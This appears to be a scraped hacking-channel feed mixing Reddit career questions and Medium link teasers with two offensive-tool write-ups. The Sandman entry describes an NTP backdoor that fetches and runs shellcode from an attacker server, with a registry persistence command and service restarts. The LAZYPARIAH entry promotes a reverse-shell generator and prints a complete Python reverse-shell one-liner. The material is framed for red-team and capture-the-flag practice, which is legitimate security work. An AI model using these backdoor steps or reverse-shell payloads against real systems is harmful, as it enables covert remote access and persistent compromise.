hacking: security in practice
Mr. Robot S1 E1

I'm watching Mr. Robit for the first time and he starts off by forcing Ron's Tor browser to use a specific exit node. How is that possible?

submitted by /u/Real_GoofyNinja
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Get in a cyber security career

Can I get a job in cyber security field with just certifications (like CISSP) or TryHackMe and HackTheBox achievements? Of course I'll study a lot and apply it for practice. But I mean should I still start in a helpdesk or system admin jobs before getting one that is closer to cyber security?

Because the entry level job or the helpdesk and system admin jobs in our country has a very low salary. I am not into that, but it's just that I am also a bread winner in our family.

I am currently a senior software engineer and hoping to change career and be in cyber security field.

submitted by /u/philematophile
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Do you have to be extroverted to be a pen tester?
https://www.reddit.com/r/Pentesting/comments/yflvlc/do_you_have_to_be_extroverted_to_be_a_pen_tester/

Hi I have a question to ask you guys. Can I become a pen tester if I’m introverted, and shy? I’m a computer science major who’s going to graduate with his associates degree in the spring of 2024. After that I’m going to transfer to another college that offers computer science and cybersecurity all in one. Also I remember watching a video about pen testing by the cyber mentor and he said that you have to be able to debrief the clients at a high based technical level. How do I make myself more extroverted, and increase my social skills to be able to explain things to people at a high based technical level? submitted by /u/ELIDAL99 (https://www.reddit.com/user/ELIDAL99)
[link] (https://www.reddit.com/r/Pentesting/comments/yflvlc/do_you_have_to_be_extroverted_to_be_a_pen_tester/) [comments] (https://www.reddit.com/r/Pentesting/comments/yflvlc/do_you_have_to_be_extroverted_to_be_a_pen_tester/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Blog00: Hello world!

https://cdn-images-1.medium.com/max/600/1*BONFH7vr_4NaEbFyIJdGlA.png
Hi folks !

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How I Hacked a Bitcoin Wallet: A Step By Step Guide

https://cdn-images-1.medium.com/max/1015/1*iNAnsp-8-tMde8EcmWtU-A.jpeg
This is an old vulnerability but still is around. Not many bitcoin companies/wallets will re-use values these days when signing…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Heist HackTheBox

https://cdn-images-1.medium.com/max/1216/0*yM0LBCGMOP0ezxvq.png
Introduction

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hacktheboo CTF

https://cdn-images-1.medium.com/max/600/1*5ceaJFboaBskHM7WMJv9UQ.png
Web:

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Layer Hack: Boba Network: Understanding Hybrid Compute [Video + Slides]

https://cdn-images-1.medium.com/max/1920/1*QjP-gHuzTNE1jUJAk-vQ4Q.jpeg
On Thursday, 27th October we were delighted to host the Boba Network: Understanding Hybrid Compute event for our Layer Hack. This was the…

Continue reading on Encode Club »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Blind SSRF in Skype (Microsoft)

https://cdn-images-1.medium.com/max/600/1*JHiDr9GAmSo_2dj369y1hw.gif
Server Side Request Forgery is a vulnerability that allows attacker to make server request to attacker controlled network location/path.

Continue reading on InfoSec Write-ups »

___________________________
@hacking_Attack
@Hacking_Video

Sandman - NTP Based Backdoor For Red Team Engagements In Hardened Networks
http://www.kitploit.com/2022/10/sandman-ntp-based-backdoor-for-red-team.html

___________________________
@hacking_Attack
@Hacking_Video

Sandman is a backdoor (https://www.kitploit.com/search/label/Backdoor) that is meant to work on hardened networks during red team (https://www.kitploit.com/search/label/Red%20Team) engagements. Sandman works as a stager and leverages NTP (a protocol to sync time & date) to get and run an arbitrary shellcode from a pre-defined server. Since NTP is a protocol that is overlooked by many defenders resulting in wide network accessibility.
Usage SandmanServer (Usage) Run on windows / *nix machine: python3 sandman_server.py "Network Adapter" "Payload Url" "optional: ip to spoof" Network Adapter: The adapter that you want the server to listen on (for example Ethernet (https://www.kitploit.com/search/label/Ethernet) for Windows, eth0 for *nix). Payload Url: The URL to your shellcode, it could be your agent (for example, CobaltStrike (https://www.kitploit.com/search/label/CobaltStrike) or meterpreter) or another stager. IP to Spoof: If you want to spoof a legitimate IP address (for example, time.microsoft.com's IP address). SandmanBackdoor (Usage) To start, you can compile the SandmanBackdoor as mentioned below (https://github.com/Idov31/Sandman#setup), because it is a single lightweight C# executable you can execute it via ExecuteAssembly, run it as an NTP provider or just execute/inject it. SandmanBackdoorTimeProvider (Usage) To use it, you will need to follow simple steps: Add the following registry value: reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient" /v DllName /t REG_SZ /d "C:\Path\To\TheDll.dll" Restart the w32time service: sc stop w32time
sc start w32time NOTE: Make sure you are compiling with the x64 option and not any CPU option! Capabilities Getting and executing an arbitrary payload from an attacker's controlled server. Can work on hardened networks since NTP is usually allowed in FW. Impersonating a legitimate NTP server via IP spoofing. Setup SandmanServer (Setup) Python 3.9 The requirements (https://www.kitploit.com/search/label/Requirements) are specified in the requirements (https://github.com/Idov31/Sandman/blob/master/SandmanServer/requirements.txt) file. SandmanBackdoor (Setup) To compile the backdoor I used Visual Studio 2022, but as mentioned in the usage section (https://github.com/Idov31/Sandman#usage) it can be compiled with both VS2022 and CSC. You can compile it either using the USE_SHELLCODE and use Orca's shellcode or without USE_SHELLCODE to use WebClient. SandmanBackdoorTimeProvider (Setup) To compile the backdoor I used Visual Studio 2022, you will also need to install DllExport (https://github.com/3F/DllExport) (via Nuget or any other way) to compile it. You can compile it either using the USE_SHELLCODE and use Orca's shellcode or without USE_SHELLCODE to use WebClient. IOCs A shellcode is injected into RuntimeBroker. Suspicious NTP communication starts with a known magic header. YARA rule. Contributes Orca (https://github.com/ORCx41/) for the shellcode. Special thanks to Tim McGuffin (https://twitter.com/NotMedic) for the time provider idea (https://twitter.com/NotMedic/status/1561354598744473601). Thanks to those who already contributed and I'll happily accept contributions, make a pull request and I will review it!

Download Sandman (https://github.com/Idov31/Sandman)

___________________________
@hacking_Attack
@Hacking_Video

Black Hat Ethical Hacking
Offensive Security Tool: LAZYPARIAH

Offensive Security Tool: LAZYPARIAHPost Views: 45 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Patreon.png Subscribe to Patreon to watch this episode.
Reading Time: 4 Minutes LAZYPARIAHLAZYPARIAH by octetsplicer is a tool for generating reverse shell payloads on the fly. Basically, it is a simple and easily installable command-line tool written in pure Ruby that can be used during penetration tests and capture-the-flag (CTF) competitions to generate a range of reverse shell payloads on the fly. We all know, a shell is just the beginning, with this tool, you get to pop one easily. It can be part of your workflow as a Pentester when it comes to post-exploitation, or as part of your Internal Pentesting Assessments attacks.
See Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course DescriptionLAZYPARIAH is a simple and easily installable command-line tool written in pure Ruby that can be used during penetration tests and capture-the-flag (CTF) competitions to generate a range of reverse shell payloads on the fly.

The reverse shell payloads that LAZYPARIAH supports include (but are not limited to):

* C binary payloads (compiled on the fly): c_binary
* Ruby payloads: ruby, ruby_b64, ruby_hex, ruby_c
* Powershell payloads: powershell_c, powershell_b64
* Base64-encoded Python payloads: python_b64
* Rust binary payloads (compiled on the fly): rust_binary
* PHP scripts containing base64-encoded Python payloads called via the system() function: php_system_python_b64
* Java classes (compiled on the fly): java_class
* Perl payloads: perl, perl_b64, perl_hex, perl_c
* Simple PHP payloads (targeting specific file descriptors): php_fd, php_fd_c, php_fd_tags Dependencies* Ruby >= 2.7.1 (LAZYPARIAH has not been tested on previous versions of Ruby)
* OpenJDK (Optional: Only required for java_class payloads.)
* GCC (Optional: Only required for c_binary payloads.)
* Rust (Optional: Only required for rust_binary payloads.) InstallationLAZYPARIAH can be installed on most GNU/Linux and BSD systems using the RubyGems installer as follows: gem install lazypariahTrending: Offensive Security Tool: Monkey365
Trending: Recon Tool: Collector Usagehttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/10/usage_-659x1024.png Further Notes and ExamplesThe payloads listed above are more-or-less systematically named.

Payloads ending with _c are intended to be executed from within a shell session. These payloads execute code directly using the relevant interpreter (e.g. python3 -c or ruby -e).

For example, the command lazypariah python_c 10.10.14.4 1337 should produce the following output: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'The command lazypariah python 10.10.14.4 1337, on the other hand, should simply produce a block of Python code which could potentially be placed in a .py file: import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);Generally speaking, selecting payloads ending with _b64 should produce a command intended to be run from within a shell session in a similar manner to payloads ending with _c, but the commands will be different in structure. These commands will essentially pipe a base64-encoded block of code through to base64 -d and then on through to the relevant interpreter (such as python3, python2 or ruby).

For example, the command lazypariah python_b64 10.10[...]

___________________________
@hacking_Attack
@Hacking_Video